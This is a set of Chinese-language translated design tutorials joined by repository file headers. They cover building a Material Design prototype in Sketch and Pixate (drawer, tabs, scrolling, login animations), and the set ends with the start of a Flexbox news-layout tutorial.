最后在这个总结性的第三部分,我们将进一步深入,同时将会作出一个更细致的原型。 开始之前,你应该已经完成了 [Part 1](https://gold.xitu.io/entry/574d062b2e958a0069335d8e) and [Part 2](https://gold.xitu.io/entry/574eb491d342d300434cec1c) , 如果没有的话,先去看看这两篇内容吧. 我已经上传了你在 Part 3 里所有需要的 [Sketch 资源](https://www.dropbox.com/s/6ykfx9gukoacgp0/Material%20Design%20Prototype%20Assets.sketch?dl=0 "Material Design Prototype Sketch Assets") , 你要做的就是将它们导出来。记住,一定要按照 3x 方式导出,这样在手机上显示效果不错。 随意按照你喜欢的方式去修改它们,只要尽力保证大小相同,这样在这次教程中所用到的尺寸才能是正确的。 ## 让我们 drawer 点灵感 首先,往我们的原型加入一个 navigation drawer 。 [navigation drawer](https://www.google.com/design/spec/patterns/navigation-drawer.html "Navigation Drawer") 是如今常见的设计样式,虽然某些时候开发者在利用它的时候会出现一些错误,但是它依旧被广泛的使用。 通过点一下显示在菜单层的眼睛来隐藏登陆界面。新建一个新的画布,取名为“ Navigation Drawer ”。就像在 Sketch 里一样的尺寸 340x640。与登陆界面有 36 像素的 padding 值。这样我们才可以将 drawer 滑出。_Navigation Drawer_ 会占据 _Login Screen_ 左边页面空间,所以我们才可以将它滑出和滑进。_Navigation Drawer_ 画布的 X 轴应该是 -304。这样才能保证我们操作的区域可以被滑动。当然,一定改变这个画布的 “ Appearance ” 为透明的或者让_Navigation Drawer_ 的右端有一个灰色横条。最后,将 " Nav Drawer with 36dp drag area " 图片导入这个画布。 现在有 drawer 在面板上了,我们可以加上 “Drag” 交互,让它可以被滑动或者拖动。点击并且拖出 “Drag” 交互作用在 _Navigation Drawer_ 画布(译者注:联想下 Android Studio XML 那里的 Design 拖拽添加布局),你会看到“ Drag ” 在右侧菜单的 “ Interactions ” 属性里。 现在让我们配置一下“ Drag ”交互。我们仅仅想要 _Navigation Drawer_ 水平移动,所以我们得在“ Move w/Drag ”菜单选择“ Horizontal ”,然后我们再设置一个 _Navigation Drawer_ 向右移动的最大值。如果我们不这样做,就可以将 drawer 一直拖出屏幕。在第一个参考建议里,我们应该确保已经选择了 “ Left ” 并且输入了 “-304” 在 “ Min position ” 输入框里。这样才可以保证 drawer 不会移到屏幕我们无法拖动的位置。第二个参考建议里,首先选择 " Right " 然后输入 "340" 到 " Max Position "。当我们拖动的时候,_Navigation Drawer_ 的 X 轴达到 340 时就会停住。如果以上都做好了,你应该会看到这样的画面: ![Prototype with Navigation Drawer](http://createdineden.com/media/1771/part-3-image-2.png?width=750&height=497) ## 画出来 我们将会加更多的特性给 _Navigation Drawer_ 。它会自动的离开屏幕,意味着我不需要一直拖着它到左侧。 ![Put back in place properties](http://createdineden.com/media/1760/part-3-image-13.png?width=306&height=416) 我们需要一个 “ Move ” 动画,将它拖拽放到 _Navigation Drawer_ 上。我们再给这个交互取个名字,让我们更清晰地知道这个是做什么的。取个 “ Put back in place ”。这个 “ Move ” 需要在 _Navigation Drawer_ “ Drag Release ”基础上。当用户停止拖拽的时候,就会触发该动作。我们的动画得设置为 “ With duration to final value ”。现在看看我们的 “ IF ”条件,如果 drawer 小于 340 我们就希望 drawer 开始动画移出屏幕。接下来,我们需要设置好在哪里我们希望 drawer 开始 “ Move ” 动画。选择 “ Left ” 然后在参数输入框里输入 "-304"。最后,为 “ Easing Curve ” 选择 " ease out " 并且选择默认类型为 “ quadratic ”,这会让我们的 drawer 移动更加自然。 好,让我们来测试一下。 ![](http://ww4.sinaimg.cn/large/a490147fgw1f4i39fizqwg205m0a0gre.gif) 当我们往右拖 drawer ,最终会留出一定距离(之前设置的 padding),当我们往左拖一点点就可以让它移除屏幕。使它像一个真实的 navigation drawer 你还有很多可以做的,你就下去自己实践吧。 ## 首页 好,让我们来创建 _Home Screen_ ,它包含了两个 tabs,_Versions_ 和 _In Words_。_Versions_ 页里有一个可滑动的列表页,_In Words_ 页里会有一个关于甜点的文章。 首要任务先从 Sketch 中导出 _Home Screen_ 的资源,同样需要 3x 格式。如果你没有的话,你需要这些: * app and status bar * versions tab selected * in words tab selected * tab indicator * Version List * In Words Content 回到 Pixate 然后导入这些资源。 现在我们需要新建一个画布,命名为 “ Home Screen ”,将它的大小改成与 _Login Screen_ 一样,360x640。确保新的画布包含整个 _Login Screen_ 画布,不然待会出现问题。 现在我们新建一个名为“ App and Status Bar ”的画布,这个为 _Home Screen_ 画布的一部分,添加“ app and status bar “ 从 Sketch 导出的图片作为 properties menu ,设置它的尺寸为 360x136 并且与顶部对齐。为什么作为 Sketch 文件高度是 136 而不是 128?现在我们需要对 Sketch 缺少的阴影做点解释,将颜色设置为透明,这样我可以避开任何背景,将灰色阴影渗出。然后你会得到一个这样的: ![Prototype with newly added Home Screen](http://createdineden.com/media/1770/part-3-image-3.png?width=750&height=476) ## 加入 Tab 现在我们得到了 tabs ,并且实现了在它们之间切换的功能。 我们需要两个画布,尺寸都是180x48,一个取名为“ Versions Tab Selected ” ,另一个为“ Background Tab Selected ”。确保它们都是 _Home Screen_ 画布的子集。_Versions Tab Selected_ 放在 (0,80) 的位置,_Background Selected Tab_ 放在 (180,80)。 ![Prototype with tabs added](http://createdineden.com/media/1769/part-3-image-4.png?width=751&height=477) 我们忘记了一件事情,tab 的焦点。新建一个画布,取名为 “ Tab Indicator ” ,尺寸设为 180x2 并且保证是_Home Screen_的子集,_Home Screen_ 这层应该是所有层的最外层,在 _Versions Tab_ 和 _Background Tab_ 之上。这样它才可以在顶部绘制,我们才可以看到它。然后你需要导入“ tab indicator ” 图片,放在(126,0)位置。 ![Prototype with tab indicator](http://createdineden.com/media/1768/part-3-image-5.png?width=735&height=462) ## 焦点的动画 好,现在我们设置好了像一个真实 app tabs 运作需要的里所有部件。现在我们想做的事是当点击 tab 后,焦点能够移动到对应的 tab 下。现在我们从 _Background Tab_ 开始。 给 _Background Tab_ 添加一个 “ Tap ” 交互,我们将会基于这个 “ Tap ” 交互配置 _Tab Indicator_ ,为 _Tab Indicator_ 添加 “ Move ” 动画,命名为“ Move on Background tap ”,这样可以让我们清楚这个是做什么,在“ Based On ”下拉框里选择“ Background Tab ”,下面的“ Move To ”设置里,我们选择为“ Right ”并且输入参数 “360”,这个会移动 _Background Tab_ 下的焦点。接下来,为了让 tab 的运动更加自然,我们在 “ Easing Curve ” 设置里选择“ ease out ”,离开设置为“ quadratic ”。最后的一件事情,我们需要更改“ Duration ” 的参数为 “0.1”,像一个真实的 tab 焦点一样移动快速。这里就是你需要设置成的样子: ![Tab Indicator movement settings](http://createdineden.com/media/1767/part-3-image-6.png?width=306&height=451) 这样设置后,我们会看到: ![](http://ww2.sinaimg.cn/large/a490147fgw1f4i3eljw7yg205m0a0dg4.gif) 现在我们需要为 _Versions Tab_ 被点击后让 _Tab Indicator_ 移动回去。只需要用 _Versions Tab_ 重复之前的过程。这个将留给你们作为练习,一定要记住,给 _Versions Tab_ 添加 “ Tap ” 交互效果,否则你将看不到“ Based On ”的下拉选择框。完成后,你将会得到一个响应你每次点击 tab 的 tab 焦点。 ![](http://ww2.sinaimg.cn/large/a490147fgw1f4i3h4kcv9g205m0a074x.gif) ## 看我上下滚动 现在让我继续添加一个可滚动的列表给我的 app。我们已经得到了导出的 “ Version List ” 资源,所以让我们马上开始吧。 新建一个“ Version List ”画布,放在 _Home Screen_ 画布下,尺寸设置为 360x1232。这会导致它比屏幕要长,但是别担心这个, Pixate 会帮我们解决。将 _Version List_ 放在 toolbar 下面, 滑出内容会被 toolbar 遮盖。 ![Prototype with Version List added](http://createdineden.com/media/1766/part-3-image-7.png?width=750&height=500) 现在我们赋予 list 滚动的能力。你可能会想我们只需要给 _Version List_ 添加一个“ Scroll ” 交互就可以了,但是我们其实要做的事情是去指定一个可以滚动的区域。 首先让我简单的隐藏 _Version List_,先新建一个画布 “ Scroll ” 处于 _Home Screen_ 画布下。该画布从 app bar 和 tabs 下开始并且充满直到底部。它的尺寸为 360x512,x=0,y=128。你将会看到屏幕上有一个灰色的框,现在将 _Version List_ 放进 _Scroll Content_ 画布里。还原 _Version List_ 回到之前的样子。现在如果你运行这个原型,你可以上下滚动 _Version List_ 。 ![](http://ww3.sinaimg.cn/large/a490147fgw1f4i3o07r4rg205m0a0qb9.gif) ## 切换 Tabs 到目前为止,我们已经得到一个功能上还行的原型,但是我们还忘了给 tabs 添加切换能力。现在我们来做。 我们在 _Home Screen_ 画布下新建一个“ In Words ”画布,将它放在 _Home Screen_ 的右边并且设置尺寸为360x512。将“ In Words Content ”图片添加进当前画布,然后你会得到: ![Prototype with In Words content](http://createdineden.com/media/1765/part-3-image-8.png?width=750&height=495) 我们现在需要新建一个画布作为我们的 ViewPager。它可以通过一个简单的滑动像一个真实 app 一样,从屏幕边缘实现一个 tab 移动到 另一个 tab。该画布应该是在整个画布系统中的最底端。它同样需要被 _In Words_ 和 _Scroll Content_ 添加,这样它才知道哪些内容是可以被移动的。 ![Layer hierarchy](http://createdineden.com/media/1773/screen-shot-2016-05-24-at-113710.png?width=280&height=248) 给 _View Pager_ 画布添加“ Scroll ”交互,这“ Scroll ”菜单中有一个“ Paging Mode ”属性,确保你在下拉框中选择了“ paging ”。如果这些都是设置好了,现在就可以滑动屏幕啦! ![](http://ww2.sinaimg.cn/large/a490147fgw1f4i3qpkr60g205m0a0gsi.gif) ## 滑动中移动 tab 焦点 我们忘记了一件事情,我们还需要在滑动屏幕时,同时移动 tab 焦点,这样才能完成 _Home Screen_ 。 给 _Tab Indicator_ 添加 “ Move ” 动画,取名为” Move on Swipe Left “。按照下面图片进行设置: ![Tab Indicator left movement settings](http://createdineden.com/media/1764/part-3-image-9.png?width=306&height=447) 好,我们将该运动建立在当前 _View Pager_ 下的 tab上,并且当滚动停止的时候,我们才活动。在我们的“ IF ” 部分我们会检测如果我们已经与开始的 X 轴坐标移动了 360 ,这样我们会切换到浏览下一个 tab。当生效后,我们希望往左移动到 180 ,将焦点放在 _In Words_ tab 下。接下来,为了像之前一样得到一个自然的运动,我们会改变“ Easing Curve ” 为“ ease out ”。最后,我们将改变 duration 为 0.1,尽可能地让 tab 快速移动。 现在如果你滑动屏幕,tab 也会跟着移动了。 ![](http://ww2.sinaimg.cn/large/a490147fgw1f4i3xx41irg205m0a0q8k.gif) 现在你需要做的就是颠倒下这个过程,当你右滑时,tab 返回。这个会留给你们进行练习,我会给你们 "IF" 条件的提示:     view_pager.contentX == 0 当你搞定了后,你的 _Tab Indicator_ 应该跟随着你滑动。 ![](http://ww2.sinaimg.cn/large/a490147fgw1f4i3zyhs8lg205m0a0guf.gif) ## Finishing Touches 现在我们来给 _Login Screen_ 切换到 _Home Screen_ 提供一个透明切换效果。你应该把它放在 _Home Screen_ 画布的上方,使 _Login Screen_ 在 Pixate 中可见。 ![Prototype with Login Screen back in](http://createdineden.com/media/1763/part-3-image-10.png?width=749&height=499) 当用户摁下登陆按钮时,我们添加一个简单的 scale 动画。为 _Login Screen_ 画布添加一个 “ Scale ” 动画,确保它作用于整个 _Login Screen_ 画布,并不是某个部分。按照以下要求设置动画: ![Login Screen scale settings](http://createdineden.com/media/1762/part-3-image-11.png?width=305&height=452) 只有当用户已经完成了两个输入框的操作后,点击登陆按钮才会触发这个动画。我们通过因素和相连的X和Y进行缩放(因为我们想要均匀的缩放效果)。我们设置 “ Scale ” 到“0x”,意味着 _Login Screen_ 将会消失,然后我们设置“ ease out ” 和 “ Duration ” “0.3”,防止动画执行过快。 现在我们可以看到: ![](http://ww2.sinaimg.cn/large/a490147fgw1f4i41gcndwg205m0a0wi2.gif) 最后,确保 _Navigation Drawer_ 不能在 _Login Screen_ 页面被滑出。我们需要这样设置: ![Navigation Drawer fade in settings](http://createdineden.com/media/1761/part-3-image-12.png?width=305&height=411) 在 _Navigation Drawer_ 的 “ Properties ”菜单减少它的“ Opacity ” 到 “0%”。这样将不会在 _Login Screen_ 被滑出了。接下来,给 _Navigation Drawer_ 画布添加一个 “ Fade ” 动画,就像之前给 _Login Screen_ 设置的缩放动画一样,我们想要这个 fade 动画同样在摁下登陆按钮后触发,同时设置为100%,这样才可以完整的看到 _Navigation Drawer_。我们延后0.3秒执行这个动画,这样 _Login Screen_ 可以完整执行缩放动画。 最后一步!如果之前所有都没有问题,你将可以展示一个简易的 material design 的原型 app。 ![](http://ww4.sinaimg.cn/large/a490147fgw1f4i43y44jwg205m0a0tcd.gif) ## 最后 我希望你喜欢这个教程系列,你还可以在 Sketch 和 Pixate 上做很多事情来提示你的水平。如果你真的特别喜欢使用这些工具,我特别希望你可以去找更多的关于它们的教程。你可以做以下事情去完善这个原型: * 在 Navigation drawer 里实现多页面,比如退出按钮。 * 多屏幕适配 * 完善登录页的消失动画 * 完善 Navigation Drawer 移动,比如拖到一半的时候就打开 * 利用在 Sketch 资源文件中的未被选择的 tabs 显示在当 tab 没有被选择时 如果你完善了原型或者对该教程想到了更好的点子,务必联系我,让我知道。我会特别高兴知道你想到的东西,在 twitter 上找 [Eden](https://twitter.com/CreatedInEden "Eden") 。 感谢花时间学习这个教程系列。 Good luck with Sketch and Pixate! ================================================ FILE: TODO/how-to-build-a-material-design-prototype-using-sketch-and-pixate-part-two.md ================================================ >* 原文链接 : [HOW TO BUILD A MATERIAL DESIGN PROTOTYPE USING SKETCH AND PIXATE - PART TWO](http://createdineden.com/blog/post/how-to-build-a-material-design-prototype-using-sketch-and-pixate-part-two/) * 原文作者 : Mike Scamell * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [zhangzhaoqi](https://github.com/joddiy) * 校对者: [Velacielad](https://github.com/Velacielad),[Zheaoli](https://github.com/Zheaoli) # 使用 Sketch 和 Pixate 构建 Material Design 原型 - 第二部分 在教程的 [第一部分](http://gold.xitu.io/entry/574d062b2e958a0069335d8e "如何使用 Sketch 和 Pixate 来构建一个 Material Design 原型 —— 第一部分") 我们制作了一个简单的登录界面并导出了所有资源。 在第二部分,我们打算继续在 Pixate 里创建一个原型。对于这一部分,你需要: * Android 或者 IOS 设备(最好是 Android )。如果你能弄到屏幕尺寸是 1080 x 1920 的设备那更好了,但那不是必须的, Pixate 将为你缩放原型。 * [Pixate Studio](http://www.pixate.com/getstarted/ "Pixate Studio") * 下载 Pixate app 到你的 [Android](http://bit.ly/1Wp5wuG "Pixate Android App") 或者 [iOS](http://apple.co/1qdImcZ "Pixate App iOS") 手机上。  * WiFi ## 在 Pixate 上创建原型 打开 Pixate 并且点击 “ Create new prototype ” 来创建一个原型,或者从“ File ”菜单新建一个。我们给它命名为“ Material Design Prototype ” 并保存到某个地方。在下一个界面选择“ Nexus 5 ”作为你的 “ Target Device ”(适配设备),然后点击“ Add Prototype ”完成创建。这里要说明的是如果你的设备屏幕分辨率大于 1080x1920 的话,当原型加载到你的手机上时会显得有些模糊。这也确实说明 Pixate 为你的设备进行了缩放。对于分辨率更小的设备, Pixate 也会把比例缩小。 现在你应该能看到一个空白的矩形,上面只有“ Getting Started ”几个字(译者注:在译者使用的 2.0.1 版本下,除了 Getting Started 几个大字外,下面还有一些说明性的小字),这看起来和 _Login Screen_ 有些 迷之相似。它们有着相同的尺寸,因此我们的设计可以且按照正确的比例很好地、简单地移植过去。 ![空 Pixate 项目](http://createdineden.com/media/1527/screen-shot-2016-03-10-at-142718.png?width=726&height=540) 在 Pixate Studio 的左手边是一个小图标菜单(译者注:最左边纵向排列的三个图标)。选择纵向第二个的“ Assets ”图标。导航到你放置 Sketch 所有导出资源的文件夹,全选并且点击“ Open ”。现在所有的图片就都被导入 Pixate 了: ![](http://ww3.sinaimg.cn/large/a490147fgw1f41tri3lmej20ke0egq3u.jpg) 再导航回“ Layers ”菜单(左边小图标菜单的最上面那个)然后让我们尽情利用我们的资源吧!! 在“ Layers ”菜单,点击“ + ”小按钮来创建一个新的层。这时在你的空白矩形上方会出现一个灰色的小格子。重命名这个层为“ Login Screen ”,好让我们知道这是什么。然后扩展这个格子让它填充满整个白色矩形背景。 这个灰色矩形将要成为 Login Screen (登录页面)的载体。在选中左手边菜单栏中的 _Login Screen_ 前提下,查看右边的“ Properties ”菜单。这个时候我们通过点击Appearance一栏右侧的“ + ”小图标(译者注:在这个栏的右边)来选择我们从 Sketch 导出的 _Login Screen_ 图片。 ![](http://ww4.sinaimg.cn/large/a490147fgw1f41trxrhhpj20ke0egjsu.jpg) ## 你能框住疼痛吗(译者注:关于介绍文本框的有趣说法)?! 现在我们要加入文本框了,再一次点击“ Add a layer ”,再一次的,我们得到了一个相似的灰色格子。这个格子的尺寸要和我们从 Sketch 项目中导出的 _email text field_ 的尺寸相同,对我(译者注:本文原作者的设备)来说是 328 x 48 。使用右手边的“ Properties ”菜单的“ Size ”属性来调整尺寸大小。我们也将使用 Sketch 中的定位,我的 _email text field_ 的x坐标为16,y坐标为296。然后把这些输入 Pixate 右边菜单中的 “ Position ”栏中。最后,我们通过之前导出 _Login Screen_ 图片一样的操作来从 Sketch 导出 _email text field_ 图片。 我们需要移动 _email text field_ 使它成为 _Login Screen_ 的一部分。在左边“ Layers ”菜单中点击并且拖动 _email text field_ 放置到 _Login Screen_ 上面,我们就能看到 _email text field_ 已经成为 _Login Screen_ 的一部分了。 ![](http://ww2.sinaimg.cn/large/a490147fgw1f41tsa8p9tj20ke0eg75g.jpg) 但是!等等等下!EMAIL 输入框中那个丑陋的灰色线条是干嘛的? 好吧,当我们从 Sketch 中选择我们导出的 _email input field_ 资源时,我们没有从我们的层上去掉灰色背景。让我们选中 _email input field_ ,看一下右边“ Properties ”菜单中的“ Appearance ”栏。在靠近你导出的 _email input field_ 名字旁边有一个灰色小格子(译者注:_email input field_ 名字左边那个),点击一下然后弹出一个颜色调色板,我们需要选择透明色,就是左上角中间有个红色对角线的那个。嗒哒!然后灰色线条就被去掉了。要记得每次导入图片都要做这些。 我假定你已经足够聪明去意识到我们要对 _Login Screen_ 的其余组件都这样操作,包括 _login button_ , _raised login button_ , _email text field with input_ 和 _password text field_。 在你做完这些应该做的事情之后,你会看到下面的这样: ![](http://ww3.sinaimg.cn/large/a490147fgw1f41tsocpvfj20ke0egdh2.jpg) 你可以看到我加入的每样东西都属于 _Login Screen_ 层。 接下来你需要把已经填充好的栏目加进来。最简单的方法就是点击我们想要加入填充状态的输入框所属的层。然后点击“ Layers ”菜单顶部的“ Duplicate layer ”按钮。这将给你选择的东西创建一个拷贝。所以让我们对 _email text field with input_ 执行上述操作。在拷贝好之后,你需要点击并且拖动它,确保它位于 _email text field_ 下面。然后你可能需要翻看你的 Sketch 项目找出正确的大小和位置,从而修改它的尺寸确保它不会超出规模,然后还要把它移动到合适的位置。 一旦你已经把这些层放置到它们空白的相对应处,那就应该点击眼睛图标来隐藏它们,就像我们在 Sketch 做的那样。最后一件你应该做的事情是用右边属性菜单中的“ Opacity ”给 _email text field with input_ 和 _password text field with input_ 设置为 0%。这样做的原因是当我们最终使用 Pixate 应用加载这个项目的时候它们是不可见的,所以在 Pixate Studio中没有必要花费注意力在这些层的可见性设置上。 ![](http://ww2.sinaimg.cn/large/a490147fgw1f41tt3hbjvj20ke0eggmv.jpg) 正如上面的截图,我加入了一些带有输入的框但是它们被隐藏了。现在我们搞点有趣的事情 —— 动画 :D 。 ## 让框的输入动起来 (我想不出有趣的题目了) 现在让我们给登录界面加入一些动画。我们从文本框开始,然后再弄按钮。 在左边“ Layers ”菜单下面是两个格子 —— “Interactions”和 “Animations”,这两个格子各自包含了不同的互动和动画。互动有类似“ Tap ”(类似“点击打开”的意思)和“ Drag ”(拖动)。动画有类似“ Scale ”(缩放)和“ Move ”(移动)。为了使用它们,我们需要把它们拖动到我们想要互动和动画发生的层上面,真是简单好用。 让我们从 _email text field_ 开始吧。 在左边选中它,然后从“ Interactions ”格子中点击并拖动“ Tap ”,并且把它丢到 _email text field_ 层上面。接下来我们需要 “ Animations ”(动画)格子里面的“ Fade ”(渐变),像对 _email text field_ 操作那样点击并拖动它。你应该能在右边“ Properties ”(属性)菜单中的“ Interactions ”下面能看到一个小的 Tap 图标,在Animations ”下面看到“ Fade ”。 我们现在想要设置当我们点击 _email text field_ 时使其渐出。在右边菜单的“ Fade ”下点击“ Based On ”(基于)并且选择 _email text field_ 。这时会弹出更多的选项,你可以研究一下,不过我们这里只关心“ Fade to ”,点击格子并输入 “ 0 ”。 ![](http://ww3.sinaimg.cn/large/a490147fgw1f41ttixjxnj20ke0egjt2.jpg) 你快要能够见证你的第一个动画了,现在你仅仅需要在你的设备上运行 Pixate 应用。 ## 在你的设备上设置 Pixate 确认你已经下载 Pixate 应用到你的 [Android](http://bit.ly/1Wp5wuG "Pixate Android App") 或者 [iOS](http://apple.co/1qdImcZ "Pixate App iOS") 手机上了。 打开 Pixate 应用。这个应用会从网络上查找你的 Pixate Studio ,所以稍等一下并且确保你已经连接 WiFi 了。 Pixate 应用有时对我不太友好,所以你有可能需要退出并且重新进入。你也可以通过 IP 地址连接。 当你的电脑出现的时候,点击它。在 Pixate Studio 的右上角点击“ Devices ”。你能看到你的手机被列在这里,你需要允许连接所以点击勾选然后你的设备就被连接了。检查一下你的设备,你的电脑应该在顶部被列出了。点击它,然后你就能看到你的这些原型了。你应该看到“ Material Design Prototype ”(这取决于你给它的命名),点击它。现在你将被展示一些关于当你使用你的原型时如何与你的设备进行互动的指示。点击“ Get Started ”,然后你现在应该能看到登录页面了!更棒的是如果你现在点击 _email text field_,它将会渐变然后从你的眼前消失了。 ## 创建更多的动画 好的,现在我们要完成这些的动画了。当我点击 _email text field_ 时变得空白并不好。点击 _email text field_ _with input_ ,并且从动画格子中点击并拖动“ Fade ”然后丢到它上面。当你在“ Fade ”下面的“ Based on ”点击第一个下拉格子时,确保你选择了 _email text field_。我们想要展现的效果是当 _email text field_ 渐出时, _email text field with input_ 出现。在“ Fade to ”里面输入“ 100 ”。 ![](http://ww1.sinaimg.cn/large/a490147fgw1f41wtvuc3qj20jp0ci75p.jpg) 我们实际上是在说,当 _email text field_ 被点击时,它渐变到 0 ,并且 _email text field with input_ 渐变到 100 。这有点像“如果这样,就那样”。/span> 现在,如果你回到你的设备,Pixate 应用应该已经刷新了,因为它会自更新。现在如果每样事情都被设置正确了,那么当你点击 _email text field_ 时,它应该能渐出然后 _email text field with input_ 应该会出现。 ![](http://ww4.sinaimg.cn/large/a490147fgw1f41wt2s6lmg20ba0k0tca.gif) 现在你需要对 _password text field_ 和 _password text field with input_ 重复之前的那些操作。/span> ## 点击按钮!让登录按钮动起来! 接下来我们要给登录按钮做动画。我们想要的效果是,当你点击按钮时,它抬起然后跌落,就像在真实设备上那样。这给原型添加了一个不错的现实主义的层(译者注:即仿真程度高),如果你想要做一个快速原型,你大可不必做这些,仅仅让这个按钮打开下个界面即可。不过我们这里是在研究 Pixate,所以让我们继续做吧。 首先你需要把 _login button_ 和 _login button raised_ 加到项目里面。这两个在左侧菜单的层级关系里都隶属于 _disabled login button_ ,并且确保它们俩透明度都为 0 。 当你添加 _login button_ 和 _raised login button_ 时,你可能发现它们有些破碎的感觉。你需要注意的是阴影。不要像使用 Sketch 那样忽视了阴影,Pixate 把阴影算做了图像的一部分。 这里是我对于登录按钮的设置 * x = 14pt * y = 471pt * width = 332pt * height = 40pt 还有抬起状态的按钮: * x = 8pt * y = 465pt * width = 344pt * height = 58pt 这些按钮相互之间应该可以直接替换并且还要给阴影留出空间。 我们需要设置一些条件使 _disabled login button_ 消失。我们想要使它在 _email_text_field_ 和 _password_text_field_ 都被点击并且 _email_text field with input_ 和 _password text field with input_ 都出现的时候消失。如何做呢?好的,当你在 Pixate 中加入一个动画时,你可以指定这个动画发生的条件。条件的编写就像写代码,所以程序员可能会用到这个,但是对于其他人就容忍我吧,并且我们将完成它 :) 。/span> 点击并且拖动“ Fade ”动画到 _disabled login button_ 上。现在给 _email text field_ 设置“ Based on ”。当你完成这些弹出的额外选项时,我们来关注一下“ If ”栏,如果你点击它旁边的问题标志图标,你会得到一个通篇解释,关于这是做什么的和你想要知道的关于层的所有属性。 我们的条件是什么?我们想要去检查:如果 _password text field_ 不再可见,就使 _disabled login button_ 渐出。我们这样做是因为我们知道,如果 _password text field_ 不再可见,那么 _password text field with input_ 就必须可见。 你需要在“ If ”格子里输入这个条件声明:     password_text_field.opacity == 0 我们加了下划线,因为如果你的层名带空格的话, Pixate 会自动给我们的" Layer ID "加下划线。 我们在 _password text field_ 层上通过可见性属性来检查它的可见性,并且确保设置为 0 。 现在如果你回到你的设备上的原型,并且触压 _password text field_ ,然后触压 _email text field_ ,使否状态的按钮应该就消失了。 我们现在需要添加另一个渐出动画。这个动画是在 _password text field_ 被触压时,_email text field_ 渐出。这也是典型的原型是如何正常操作的。 你需要去做的我们之前做一样,只不过采用相反的设置。我将教你如何开始,你需要点击并且拖动另外一个“ Fade ”动画到 _disabled login button_ 上。我把其他的留给你做 ;)。 如果一切就绪,然后当 _email text field_ 和 _password text field_ 不再可见时,你的 _disabled login button_ 按钮应该也消失了。现在我们要使 _login button_ 可见。这将是另外一个简单的渐入动画。 我们基本上需要像对 _disabled login button_ 那样做相同的事情,但是对于两个动画来说,我们想要透明度变为 100 而不是 0 。我确认你现在已经可以做到了,但是我还是会教你如何开始。你需要拖动“ Fade ”动画到 _login button_ 。并且记得添加条件。 好的,现在你应该能看到类似这样的一些东西了: ![](http://ww1.sinaimg.cn/large/a490147fjw1f41vs6l528g20ba0k0q89.gif) ## 抬起你的按钮! 最后我们需要做的是使 _login button_ 被触压的时候抬起;就像 Android 5.0 版本上一个按钮通常的那样。正如你在“ Fantasy Football Fix ”例子的登录页面看到的那样,当你触压“ Upload Squad ”按钮时,它的阴影变大,看起来好像吸住了你的手指一样。 ![](http://ww2.sinaimg.cn/large/a490147fjw1f41vufzbuyg20ba0k0gtk.gif) 显然,我们打算使用 _raised login button_ 。首先,拖动“ Tap ”互动到 _login button_ 上,因为我们需要知道它何时被触压了。然后再一次我们需要两个渐变效果所以拖动它们到 _raised login button_ 上。 第一个渐变需要在点击 _login button_ 时触发,所以确保 _login button_ 在“ Based on ”栏中被选中。我们想要第一个渐变使我们抬起的按钮出现,因此设置它的透明度为 100 。我们还应该给渐变命名,这样我们就知道它们是做什么的了。那么把这个渐变叫做“ Fade in on Login Button tap ”(当登陆按钮点击时渐入)吧。 这将使我们的按钮出现并且看起来抬起了,但是如果你现在点击 _login button_ , _raised login button_ 将出现并且保持在那里。而我们需要的是再次消失回原始的 _login button_ ,所以我们将完成剩余的状态。 这里我们需要另外一个“ Fade ”动画。把这个动画命名为“ Fade out after Rise ”(在抬起后渐出)。同样它也是在 _login button_ 点击时触发。这个动画虽然我们想渐变为 0% ,但是我们需要设置“ Delay ”(延迟)为“ 0.2 ”。这是为了让我们等待 button 渐出,否则你甚至看不到这个按钮了,因为渐入和渐出会在同时发生。 现在如果你点击 _login button_ 你应该得到一个不错的抬起效果了。 ![](http://ww1.sinaimg.cn/large/a490147fgw1f41web91qbg20ba0k0dlb.gif) 如果你想要得到更多的乐趣,你也可以让 _login button_ 在被点击时渐入和渐出,但是我把这留给你当作额外的任务 ;) 。这样做的副作用是会产生轻微的闪光,所以看起来按钮好像被点击了。要注意的是,如果 _login button_ 和 _raised login button_ 没有在 Pixate 中被排列好的话,效果看起也不好,所以确保你已经排列好了。 ## 最终!我们做好了! 所以总结下这个系列的第二个充实的部分吧。我知道这是一个冗长的过程,但是这是因为我必须把绝对数量的指导都写出来。一旦你做过一次之后,你就可以把它作为参考了。我的建议都依附于小的样本项目,所以如果你需要知道如何制作一个抬起的按钮,你仅仅需要打开这个项目然后简洁明了地看到列出的所有东西。当你给原型加入更多的流程性的东西时,就会使得项目变得忙乱,然后你可能就不能简单地定位指定事件的动作或序列了。 ================================================ FILE: TODO/how-to-build-a-news-website-layout-with-flexbox.md ================================================ >* 原文链接 : [How to Build a News Website Layout with Flexbox](http://webdesign.tutsplus.com/tutorials/how-to-build-a-news-website-layout-with-flexbox--cms-26611) * 原文作者 : [Jeremy Thomas](http://tutsplus.com/authors/jeremy-thomas) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [zhangzhaoqi](https://github.com/joddiy) * 校对者: [Galen](https://github.com/galenyuan),[Jasper Zhong](https://github.com/DeadLion) # 如何用 Flexbox 构建一个新闻网站布局 ![最终产品效果图](https://cms-assets.tutsplus.com/uploads/users/30/posts/26611/final_image/preview.png)
      你将要创建的东西
      在你刚接触 Flexbox 的时候没有必要理解关于 Flexbox 的 _所有_ 方面。在这篇教程中,我们将介绍 Flexbox 的一些新特性。同时设计一种新的、像 [The Guardian](http://www.theguardian.com) 一样的布局方式。 我们使用 Flexbox 是因为它提供了许多强大的特性: * 我们可以通过简单的方式来实现响应式的纵列 * 我们可以使列等高 * 我们可以把内容塞入容器的 _底部_ 我们开始吧! ## 1. 用两个列开始 在 CSS 中创建列一直是一个挑战。在很长的一段时间里,唯一的选择是使用 float 或者 table,但是这两种方法都有各自的问题。 Flexbox 使流程更加简单,提供了如下: * **简洁的代码**:我们仅仅只需要在容器了添加 `display: flex` * 不需要去 **清除** float, Flexbox 避免出现无法预料的布局行为 * **语义标记** * **灵活性**:我们可以用很少的 CSS 代码来调整列的尺寸、伸缩和对齐方式 让我们从创建两个列开始:一个占容器的 2/3 宽度,另一个占 1/3 。
      2/3 column
      1/3 column
